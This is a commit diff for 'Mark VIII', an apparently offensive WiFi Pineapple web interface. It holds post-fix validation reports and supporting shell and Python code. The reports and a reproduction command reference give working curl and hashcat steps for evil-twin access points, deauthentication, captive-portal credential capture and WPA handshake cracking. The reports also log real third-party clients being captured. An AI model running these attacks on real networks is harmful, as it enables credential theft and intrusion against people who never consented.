- Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails,
so the client re-associates and is never kicked.
### 4.6 Capture / export / filters / MCP / UI — PASS
- Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`;
filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`,
`loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page.
---
## 5. Recovery & hygiene observed during the suite
- **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the
enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered
D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it;
Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health
`pass`. `mk8-guard` re-applied safe UCI on boot.
- Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog
self-exiting, Kali restored to `Znet`, `/api/health` env `pass`.
- Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/`
(`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted
`/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`.
---
## 6. Reproduction command reference
```sh
# login
curl -c cj -H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login
# deploy evil wpa 5g / 2.4g / open / enterprise
curl -b cj -H 'Content-Type: application/json' \
-d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
http://172.16.52.1:8080/api/attacks/deploy
# status / stop / capture / export
curl -b cj http://172.16.52.1:8080/api/attacks/status
curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000
# filter checks (must be "deny" + empty for evil twins)
curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client
# device-level deauth (works) vs API (broken)
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
curl -b cj -H 'Content-Type: application/json' \
-d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth
# crack
hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable
```
---
## 7. Suggested fix order
1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types.
3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening.
Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to
`tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy).
@@ -0,0 +1,85 @@
# Mark-VIII PineAP Attack Validation — Round 2 (post-fix), 2026-08-23
Full live re-validation of every PineAP attack type exposed by Mark VIII, executed after the
fix round in commit `d23ea56`. All attacks were run against authorized, in-scope networks only.
## Environment
| Role | Host | Identity |
|---|---|---|
| Attack platform | WiFi Pineapple Pager 24.10.1, `root@172.16.52.1`, Mark VIII `:8080` | radio0 MAC base `00:13:37:ae:e0:50`, radio1 `00:13:37:ae:8e:7c` |
| Victim client | Kali Linux, `bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05` | NetworkManager + standalone wpa_supplicant |
| In-scope targets | `Znet` (WPA2/WPA3-SAE-mixed, 5GHz ch36/44/48/…; PSK provided) and `Znet-Open` (open, 2.4GHz ch6 `B6:8B:A9:17:2A:6E`, ch11 `B6:8B:A9:17:47:33`) | recon.db fresh scans confirmed both |
Pre-flight: `/api/health` env `pass` (pineapd alive, both monitors up, recon readable).
## Results summary
| # | Attack / capability | Endpoint(s) | Result | Proof captured |
|---|---|---|---|---|
| 1 | Recon | recon.db / scan history | **PASS** | Both SSIDs present with fresh timestamps, correct BSSIDs/channels/crypto |
| 2 | Evil Open twin + Evil Portal credential capture | `POST /api/attacks/deploy kind=open` + portals API | **PASS** | Victim associated to spoofed-BSSID twin (`172.16.52.123`); DNS hijack resolved arbitrary domain → `172.16.52.1`; portal served on :80; POSTed creds recorded with MAC/hostname/IP (`evidence/r2_t1_portal_captures.json`) |
| 3 | Karma association | (implicit) | **PASS** | Real third-party client `48:e1:e9:4d:98:8a` associated to Znet-Open twin unprompted; later handshakes from `68:9e:19:d1:6e:e1` / `e6:75:7f:45:fd:57` on the WPA twin across multiple probed SSIDs |
| 4 | Filters auto-config post-deploy | `GET /api/pineap/filters/{ssid,client}` | **PASS** (BUG 2 fix verified) | After deploy both filters read `deny` + empty with no manual help — twins accept clients unaided |
| 5 | Single deauth via API | `POST /api/attacks/deauth` | **PASS** (BUG 1 fix verified) | `ok:true, inject:wlan0mon`; pcap holds **556 deauth frames** incl. directed SA=twin-BSSID → DA=victim (`evidence/r2_t2_deauth.cap`); victim dropped (NM re-associated sub-second) |
| 6 | Client kick | `POST /api/pineap/clients/kick` | **PASS** | Deny filter added for victim MAC; victim flapped DISCONNECTED/CONNECTED and could not hold association until filter cleared |
| 7 | Evil WPA twin 5GHz + handshake capture | `deploy kind=wpa` + `attacks/capture` | **PASS** | Twin live ch44 (`02:13:37:ae:8e:7c`); full EAPOL 4-way from victim captured on pinned `wlan1mon`; export produced 18-row `.hc22000` incl. victim AND real-client handshakes |
| 8 | hc22000 export → crack | `GET /api/attacks/export/hc22000` + hashcat -m 22000 (Kali) | **PASS** | PSK recovered for victim (`021337ae8e7c:a0a4c593f805:Znet`) and real client (`…:e6757f45fd57:Znet`) = exact known PSK (`evidence/r2_t4_cracked.txt`) |
| 9 | Bulk deauth | `POST /api/attacks/deauth/bulk` | **PASS** | 3-target batch: 2 valid sent (`sent:2`), malformed target rejected per-index without aborting batch; victim dropped on-air |
| 10 | Evil Enterprise PEAP/MSCHAPv2 | `deploy kind=enterprise` | **PARTIAL** | AP verified + ctrl-linked + runtime-bridged; client associates; TLS tunnel up; server issues inner MSCHAPv2 success for `victim@znet.local`. BUT wpa_supplicant rejects the karma wpad's success request ("Invalid authenticator response") so no full CONNECTED; `hostap_basic`/`hostap_chalresp` remain empty (known firmware residual). See §T6 |
| 11 | Post-suite hygiene | — | **PASS** | All attacks stopped, zero leftover APs/tcpdump/watchdog churn, health env `pass`, victim restored to real `Znet` (`18:e8:29:b5:a4:2c`) |
## New defects found this round
### D1 — MEDIUM: portal download endpoint crashes on device
`h_portal_download` (`server.py:5395`) imports `zipfile`, which python3-light does not ship
(the import endpoint was converted to struct+zlib in d23ea56 but download was missed):
`GET /api/portals/<name>/download``{"error": "No module named 'urllib'"}`.
Fix: reuse the minimal ZIP writer approach or stream raw files.
### D2 — MEDIUM: deploy-time auto-capture produces an empty pcap
The 5GHz WPA deploy reported `"capture": true` but the auto-started `wlan1mon` capture died
during AP bring-up (file stayed at the 24-byte header; no tcpdump process left). A capture
started *after* the AP is up works fine (frames flow, monitor inherits phy channel context).
Fix: arm the auto-capture after hostapd verify-loop completes, and/or have `_capture_state`
detect-and-restart the dead pid (ISSUE 7 stale logic exists but did not fire here).
Also: `h_attacks_capture` silently ignores a `channel` body param — either honor it or reject it.
### D3 — LOW/cosmetic: `GET /api/attacks/capture` with no active capture returns 404
`{"error":"not found"}` instead of `{running:false,...}` — UI-hostile shape.
## T6 detail (Enterprise PARTIAL)
Repro: deploy `kind=enterprise ssid=Znet enctype=wpa2 channel=44 passphrase=VictimPass123!`
`verified:true, ctrl_linked:true`. Victim (standalone wpa_supplicant, MAC randomization off):
- Association OK; outer PEAP TLS tunnel completes (`CTRL-EVENT-EAP-PROPOSED-METHOD method=25`)
- Inner MSCHAPv2 exchange runs; client logs `EAP-MSCHAPV2: Received success` — i.e. the
standalone hostapd accepted the inner credentials (BUG 3 eap_users grammar fix works)
- But every attempt then logs `EAP-MSCHAPV2: Invalid authenticator response in success request`
→ supplicant refuses, disconnects, retries forever. Same result with matched and mismatched
passwords (server auto-accepts but its AuthResp never verifies) — consistent with the karma-
patched wpad issuing success without computing it from the stored secret.
- TTLS/PAP could not be differentiated this round (client-side sed failure meant PEAP ran;
association-level flapping prevented a clean second attempt).
- `hostap_basic` / `hostap_chalresp`: still empty (documented firmware residual — pineapd does
not forward from foreign hostapd instances). Enterprise client list DOES record associations.
Net: enterprise twin captures inner-auth material server-side only as far as hostapd's own
logs; portable credential loot remains impossible on 24.10.1 without a Hak5 pineapd change.
## Evidence index (`evidence/r2_*`)
| File | Content |
|---|---|
| `r2_t1_portal_captures.json` | Captured portal credentials (user/pass, victim MAC/hostname/IP) |
| `r2_t2_deauth.cap` | wlan0mon pcap, 556 deauth frames (directed at victim) |
| `r2_t2_deauth.json`, `r2_t2_kick.json` | API responses proving deauth/kick ok:true |
| `r2_t3_deploy_wpa.json` | WPA twin deploy response (`capture:true`, `verified:true`) |
| `r2_t3_hc_export.json`, `r2_handshakes.hc22000` | Exported 18 handshake hashes |
| `r2_t4_cracked.txt` | hashcat --show output recovering the true PSK (victim + real client) |
| `r2_t5_bulk.json` | Bulk deauth batch results (2 sent / 1 rejected) |
| `r2_t6_deploy_ent.json` | Enterprise deploy response |
Copies of key artifacts also live on-device (`/root/loot/**`) and on Kali (`/tmp/r2.hc22000`,
removed wordlist).
@@ -0,0 +1,15 @@
#!/bin/sh /etc/rc.common
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
START=49
STOP=90
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
start() {
[ -f "$GUARD_DIR/server.py" ] || return 0
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
>/tmp/mk8-guard.log 2>&1 || true
}
stop() { return 0; }
+35
View File
@@ -0,0 +1,35 @@
#!/bin/sh
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after> [max_ticks]
# Exits quietly after max_ticks healthy ticks so sentinels cannot accumulate.
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"; MT="${5:-120}"
DIR="/root/payloads/user/remote_access/pager-webui"
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
fails=0; oks=0; tripped=0; ticks=0
probe() {
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
{ ip link show wlan0mon >/dev/null 2>&1 ||
ip link show wlan1mon >/dev/null 2>&1; }
}
while true; do
if probe; then
fails=0
ticks=$((ticks + 1))
if [ "$tripped" = "0" ] && [ "$ticks" -ge "$MT" ]; then
exit 0
fi
if [ "$tripped" = "1" ]; then
oks=$((oks + 1))
if [ "$oks" -ge "$HA" ]; then
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
exit 0
fi
fi
else
fails=$((fails + 1)); oks=0
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
tripped=1
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
fi
fi
sleep "$IV"
done
@@ -0,0 +1,131 @@
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
import json, os, threading, time
from collections import deque
MK8_DIR = '/mmc/mk8'
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
MAX_BYTES = 5 * 1024 * 1024
KEEP = 4
_LOCK = threading.Lock()
_COUNTER_KEYS = {'boot': 'boots', 'unexpected_boot': 'unexpected_boots',
'rollback': 'rollbacks', 'restart': 'restarts',
'guard_fix': 'guard_fixes'}
COUNTER_KINDS = tuple(_COUNTER_KEYS)
def _ensure_dir():
try:
os.makedirs(MK8_DIR, exist_ok=True)
except OSError:
pass
def log_event(kind, sev='info', msg='', meta=None):
"""Append one journal entry. Never raises: a reliability journal that
can crash its caller would defeat its purpose. Single-writer per
process is assumed; there is no inter-process lock."""
try:
entry = {'ts': int(time.time()), 'kind': str(kind), 'sev': sev,
'msg': str(msg)[:500]}
if meta is not None:
json.dumps(meta)
entry['meta'] = meta
line = json.dumps(entry) + '\n'
except Exception:
try:
line = json.dumps({'ts': int(time.time()), 'kind': str(kind),
'sev': sev, 'msg': str(msg)[:500],
'meta_repr': repr(meta)[:500]}) + '\n'
except Exception:
return
with _LOCK:
_ensure_dir()
try:
if os.path.exists(EVENTS_PATH) and \
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
for i in range(KEEP - 1, 0, -1):
src = '%s.%d' % (EVENTS_PATH, i)
dst = '%s.%d' % (EVENTS_PATH, i + 1)
if os.path.exists(src):
os.replace(src, dst)
if os.path.exists(EVENTS_PATH):
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
with open(EVENTS_PATH, 'a') as f:
f.write(line)
except OSError:
pass
def read_events(limit=100):
out = []
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
paths.append(EVENTS_PATH)
for path in paths:
try:
with open(path) as f:
for l in f:
if not l.strip():
continue
try:
row = json.loads(l)
except ValueError:
continue
if isinstance(row, dict):
out.append(row)
except OSError:
continue
out.sort(key=lambda r: r.get('ts', 0))
return out[-limit:][::-1]
def counters():
counts = {v: 0 for v in _COUNTER_KEYS.values()}
for row in read_events(limit=5000):
k = row.get('kind')
if k in _COUNTER_KEYS:
counts[_COUNTER_KEYS[k]] += 1
return counts
def snapshot(event_limit=20, scan=2000):
"""Newest-first events (up to event_limit) plus kind counters computed
over at most `scan` most-recent entries, in ONE parse pass. Bounded so a
large rotated journal cannot spike memory/CPU on every health poll."""
events = []
counts = {v: 0 for v in _COUNTER_KEYS.values()}
scanned = 0
paths = [EVENTS_PATH]
paths.extend(EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1))
tail_len = max(scan, event_limit)
for path in paths:
if len(events) >= event_limit and scanned >= scan:
break
try:
with open(path) as f:
tail = deque((l for l in f if l.strip()), maxlen=tail_len)
except OSError:
continue
for line in reversed(tail):
try:
row = json.loads(line)
except ValueError:
continue
if not isinstance(row, dict):
continue
scanned += 1
kind = row.get('kind')
if kind in _COUNTER_KEYS:
counts[_COUNTER_KEYS[kind]] += 1
if len(events) < event_limit:
events.append(row)
if len(events) >= event_limit and scanned >= scan:
break
events.sort(key=lambda r: r.get('ts', 0), reverse=True)
return {'events': events[:event_limit], 'reliability': counts}
def mark_boot(unexpected=False):
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
if unexpected else 'info',
msg='service started' + ('' if unexpected else ' cleanly'))
@@ -0,0 +1,55 @@
"""Risky-operation gate: preflight config snapshot + detached rollback watchdog."""
import shlex
import subprocess
import threading
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
INTERVAL = 5 # seconds between probes
MAX_TICKS = 120 # watchdog self-exits after this many quiet ticks
_ENTER_LOCK = threading.Lock()
# Dormant until an entrypoint (serve() / CLI ops) flips it on, so importing
# this module never snapshots or spawns anything.
ENABLED = False
def watchdog_decision(state):
"""state: {'fails': int, 'oks': int, 'tripped': bool,
'fail_after': 6, 'healthy_after': 6}
Returns (action, new_state): action in {'rollback','promote',None}."""
s = dict(state)
fa = s.get('fail_after', FAIL_AFTER)
ha = s.get('healthy_after', HEALTHY_AFTER)
if not s['tripped'] and s['fails'] >= fa:
return 'rollback', dict(s, tripped=True, oks=0)
if s['tripped'] and s['oks'] >= ha:
return 'promote', s
return None, s
def _spawn_watchdog(name):
cmd = ('setsid sh %s %s %d %d %d %d >/dev/null 2>&1 &'
% (shlex.quote(WATCHDOG), shlex.quote(name),
INTERVAL, FAIL_AFTER, HEALTHY_AFTER, MAX_TICKS))
return subprocess.Popen(cmd, shell=True, start_new_session=True)
def enter(op):
"""Snapshot + spawn watchdog. Returns profile name or None when disabled.
Serialized so concurrent gated ops cannot interleave snapshots or spawn
racing watchdogs."""
if not ENABLED:
return None
with _ENTER_LOCK:
import mk8_profiles
name = mk8_profiles.auto_name(op)
mk8_profiles.snapshot(name)
_spawn_watchdog(name)
try:
import mk8_events
mk8_events.log_event('gate', msg='preflight snapshot %s' % name)
except Exception:
pass
return name
@@ -0,0 +1,77 @@
"""Boot-time reconciliation of crash-prone PineAP settings."""
import time
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
PINEAPD_SAFE_UCI, device_run)
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
POOL_CLEAR_MAX = 20
MONITORS = ('wlan0mon', 'wlan1mon')
# pineapd.wlan1mon.hop is intentionally NOT part of the applied set: channel
# hopping is owned by the RF role manager (_pause_hop/_resume_hop). Hop=1 is
# the healthy recon baseline, so reconciling it here would silently disable a
# pager-enabled setting at every boot and latch GUARD PENDING after any
# attack-role switch.
GR_TTL_SECONDS = 30
_GR_CACHE = {'t': 0.0, 'data': None}
def _wanted():
wanted = {k: v for k, v in PINEAPD_SAFE_UCI.items()
if k != 'pineapd.wlan1mon.hop'}
wanted.update(WANTED_EXTRA)
return wanted
def _pool_size():
rc, out, err = device_run(
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
if rc != 0 or not (out or '').strip():
return 0
return len(out.split())
def _ensure_pineapd_section():
"""Stock daemon rewrites and profile restores can drop the whole
`config pineapd` section; every @pineapd[0] option write fails with
'Invalid argument' until it exists again. Probes SECTION existence
(`uci -q show @pineapd[0]`) — never an option, which may legitimately
be absent from a rewritten section."""
rc, out, err = device_run(['uci', '-q', 'show', 'pineapd.@pineapd[0]'])
if rc == 0:
return False
device_run(['uci', 'add', 'pineapd', 'pineapd'])
device_run(['uci', 'commit', 'pineapd'])
return True
def reconcile(clear_pool=True):
changed = []
if _ensure_pineapd_section():
changed.append('pineapd.@pineapd[0] (section recreated)')
changed += _apply_uci_wanted(_wanted())
pool_cleared = False
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
pool_cleared = True
if changed or pool_cleared:
device_run(['uci', 'commit', 'pineapd'])
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
_GR_CACHE['data'] = None
return {'changed': changed, 'pool_cleared': pool_cleared,
'monitors_raised': raised}
def guard_report():
now = time.time()
cached = _GR_CACHE['data']
if cached is not None and now - _GR_CACHE['t'] < GR_TTL_SECONDS:
return cached
from server import _pending_uci
_ensure_pineapd_section()
pending = _pending_uci(_wanted())
report = {'in_sync': not pending, 'pending': pending,
'pool_size': _pool_size()}
_GR_CACHE['t'] = now
_GR_CACHE['data'] = report
return report
@@ -0,0 +1,96 @@
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
import os, re, time
PROFILES_DIR = '/mmc/mk8/profiles'
CONFIGS = ('pineapd', 'wireless', 'network')
NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
def run_cmd(args, timeout=20, input_data=None):
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
from server import device_run
return device_run(args, timeout=timeout, input_data=input_data)
def _path(name):
"""Resolve a profile name to its directory. HTTP-supplied names are never
trusted: reject anything but [A-Za-z0-9._-]{1,64} and explicitly refuse
'.'/'..' so traversal can never escape PROFILES_DIR."""
if not isinstance(name, str) or not NAME_RE.fullmatch(name) \
or name in ('.', '..'):
raise ValueError('invalid profile name')
return os.path.join(PROFILES_DIR, name)
def snapshot(name):
dest = _path(name)
try:
os.makedirs(dest, exist_ok=True)
wrote = False
for cfg in CONFIGS:
rc, out, err = run_cmd(['uci', 'export', cfg])
if rc != 0 or not (out or '').strip():
continue
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
f.write(out)
wrote = True
return wrote
except OSError:
return False
def auto_name(op):
return 'pre-%s-%d' % (op, int(time.time()))
def list_profiles():
try:
out = []
for d in os.listdir(PROFILES_DIR):
try:
if os.path.isdir(_path(d)):
out.append(d)
except ValueError:
continue
return sorted(out)
except OSError:
return []
def delete(name):
import shutil
shutil.rmtree(_path(name), ignore_errors=True)
def restore(name):
"""Restore configs then commit once per config. Caller runs wifi reload
/ service restart as appropriate for the operation."""
src = _path(name)
restored = []
if not os.path.isdir(src):
return {'ok': False, 'restored': [], 'error': 'profile not found'}
for cfg in CONFIGS:
fpath = os.path.join(src, cfg + '.uci')
if not os.path.isfile(fpath):
continue
with open(fpath) as f:
text = f.read()
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
if rc != 0:
return {'ok': False, 'restored': restored,
'error': 'import failed'}
crc, _, cerr = run_cmd(['uci', 'commit', cfg])
if crc != 0:
return {'ok': False, 'restored': restored,
'error': 'commit failed: %s' % (cerr or cfg)}
restored.append(cfg)
return {'ok': True, 'restored': restored}
LASTKNOWN_GOOD = 'lastknown-good'
def promote_lastknown_good():
"""Replace the lastknown-good profile with the live config."""
delete(LASTKNOWN_GOOD)
return snapshot(LASTKNOWN_GOOD)
@@ -0,0 +1,181 @@
"""Mark VIII RF role manager: radio1/phy1 is shared between an uplink STA
(``wlan1up``) and attack work, so the roles are made mutually exclusive.
Uplink pauses channel hopping; attack/idle resumes it."""
import time
ROLE_KEY = 'mk8.rfplan.role'
IFACE = 'wlan1up'
# wifi reload returns while wpa_supplicant is still scanning/authenticating;
# poll instead of checking once or every real uplink would false-fail.
ASSOC_ATTEMPTS = 5
# Security modes tried in order for PSK uplinks. sae-mixed covers
# WPA2/WPA3 transition APs; plain SAE covers WPA3-only (PMF required);
# psk2 covers legacy WPA2-PSK. ieee80211w matches each mode's PMF need.
PSK_MODE_CHAIN = (('sae-mixed', '1'), ('sae', '2'), ('psk2', '0'))
ASSOC_WAIT_SECONDS = 2
def current_role():
from server import _uci_values
cfg = _uci_values('wireless.%s' % IFACE) or {}
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
return 'uplink'
return 'idle'
def _sta_netdev():
"""Actual netdev carrying the radio1 STA. OpenWrt ignores a requested
ifname for mac80211 STA ifaces (comes up as phy1-sta0), so resolve by
phy membership + managed type instead of by name."""
from server import device_run
rc, out, err = device_run(['iw', 'dev'], timeout=10)
if rc != 0:
return None
current = None
managed = []
for line in (out or '').splitlines():
line = line.strip()
if line.startswith('Interface '):
current = line.split()[1]
elif line.startswith('type managed') and current:
if not current.startswith('wlan0'):
managed.append(current)
current = None
for name in managed:
rc2, o2, _ = device_run(
['readlink', '/sys/class/net/%s/phy80211' % name], timeout=10)
if rc2 == 0 and 'phy1' in (o2 or ''):
return name
return None
def associated():
"""BSSID of the uplink AP when the radio1 STA is associated, else None."""
from server import device_run
dev = _sta_netdev()
if not dev:
return None
rc, out, err = device_run(['iw', 'dev', dev, 'link'], timeout=10)
if rc != 0 or 'Connected' not in (out or ''):
return None
for line in (out or '').splitlines():
line = line.strip()
if line.startswith('Connected to '):
parts = line.split()
if len(parts) >= 3:
return parts[2]
return None
def hop_paused():
from server import _read_hop
return _read_hop() == '0'
def _ensure_cli_network():
"""Make network 'cli' usable for the STA. Returns True when a network
change was staged and still needs ``uci commit network``. Stock firmware
ships 'cli' present but disabled; create a minimal DHCP interface when it
is missing entirely so netifd can bring wlan1up up either way."""
from server import device_run
rc, _, _ = device_run(['uci', '-q', 'get', 'network.cli'])
if rc != 0:
device_run(['uci', 'set', 'network.cli=interface'])
device_run(['uci', 'set', 'network.cli.proto=dhcp'])
return True
rc, out, _ = device_run(['uci', '-q', 'get', 'network.cli.disabled'])
if rc == 0 and out.strip() == '1':
device_run(['uci', 'set', 'network.cli.disabled=0'])
return True
return False
def set_role(role, ssid=None, psk=None):
from server import device_run, _pause_hop, _resume_hop
if role not in ('uplink', 'attack', 'idle'):
return {'ok': False, 'error': 'role must be uplink, attack or idle'}
if role == 'uplink':
if not ssid:
return {'ok': False, 'error': 'ssid required'}
base_cmds = [
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
['uci', 'set', 'wireless.wlan1up.device=radio1'],
['uci', 'set', 'wireless.wlan1up.mode=sta'],
['uci', 'set', 'wireless.wlan1up.network=cli'],
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
['uci', 'set', 'wireless.wlan1up.disabled=0'],
]
if psk:
base_cmds.append(['uci', 'set',
'wireless.wlan1up.key=%s' % psk])
for c in base_cmds:
device_run(c)
if _ensure_cli_network():
# netifd consumes committed config only; staging without commit
# would leave the STA with no L3 attachment.
device_run(['uci', 'commit', 'network'])
_pause_hop()
assoc = None
used_mode = None
modes = PSK_MODE_CHAIN if psk else [('none', None)]
for enc, pmf in modes:
device_run(['uci', 'set', 'wireless.wlan1up.encryption=%s' % enc])
if pmf is not None:
device_run(['uci', 'set',
'wireless.wlan1up.ieee80211w=%s' % pmf])
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'], timeout=60)
for _ in range(ASSOC_ATTEMPTS):
time.sleep(ASSOC_WAIT_SECONDS)
assoc = associated()
if assoc:
break
if assoc:
used_mode = enc
break
if not assoc or not used_mode:
disable_uplink()
# UCI alone does not converge runtime: without a reload wlan1up
# keeps scanning/authenticating and pins phy1 until some unrelated
# future reload, while current_role() already reports idle.
# Converge now like the idle branch, then reapply the hop policy.
device_run(['wifi', 'reload'], timeout=60)
_resume_hop()
return {'ok': False,
'error': 'association failed; reverted',
'tried_modes': [m for m, _ in modes]}
return {'ok': True, 'role': 'uplink', 'assoc': assoc,
'mode': used_mode}
# attack/idle: tear down the STA so radio1 is free again.
disable_uplink()
_resume_hop()
if role == 'attack':
# The deploy path performs its own wifi reload right after; teardown
# converges there without a second reload churn on this phy.
try:
import mk8_events
mk8_events.log_event(
'rfplan', msg='rfplan role attack applied; STA teardown '
'applies at next wifi reload')
except Exception:
pass
else:
# idle has no guaranteed follow-up reload anywhere else, so converge
# now while the gated watchdog is still armed.
device_run(['wifi', 'reload'], timeout=60)
return {'ok': True, 'role': role}
def disable_uplink():
from server import device_run
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
device_run(['uci', 'commit', 'wireless'])
def ensure_attack():
"""Exclusivity hook for radio1 attack-AP enable paths: switch the
uplink off first so one phy never carries STA + AP at once."""
if current_role() == 'uplink':
return set_role('attack')
return None
File diff suppressed because it is too large Load Diff
@@ -89,7 +89,7 @@ kill $TDPID
Analysis one-liners: Analysis one-liners:
```sh ```sh
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
tshark -r cap -Y eapol -c 10 # 4-way keys tshark -r cap -Y "llc && eth.type == 0x888e" -c 10 # 4-way keys (this firmware's tcpdump/tshark `eapol` filter matches 0 frames — use llc/ether-proto)
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored) tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
``` ```
@@ -494,7 +494,7 @@ html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
.hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; } .hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; }
html.dark .modal { background: #303030; } html.dark .modal { background: #303030; }
/* ---- PineAP overview segmented control ---- */ /* ---- PineAP segmented control ---- */
.seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; } .seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; }
.seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); } .seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); }
.seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); } .seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); }
@@ -510,11 +510,6 @@ html.dark .modal { background: #303030; }
.pineap-card-title-link:visited { color: inherit; } .pineap-card-title-link:visited { color: inherit; }
.pineap-card-title-link:hover { text-decoration: underline; } .pineap-card-title-link:hover { text-decoration: underline; }
.pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; } .pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; }
.pineap-card-button-group { width: 100%; height: 30px; display: flex; }
.pineap-card-button-group .seg { flex: 1; height: 100%; margin-top: 0; }
.pineap-card-button-group .seg-btn { flex: 1; }
.pineap-mode-save { display: flex; justify-content: flex-end; margin-top: 10px; }
.pineap-mode-features { margin: 6px 0 0; padding-left: 20px; }
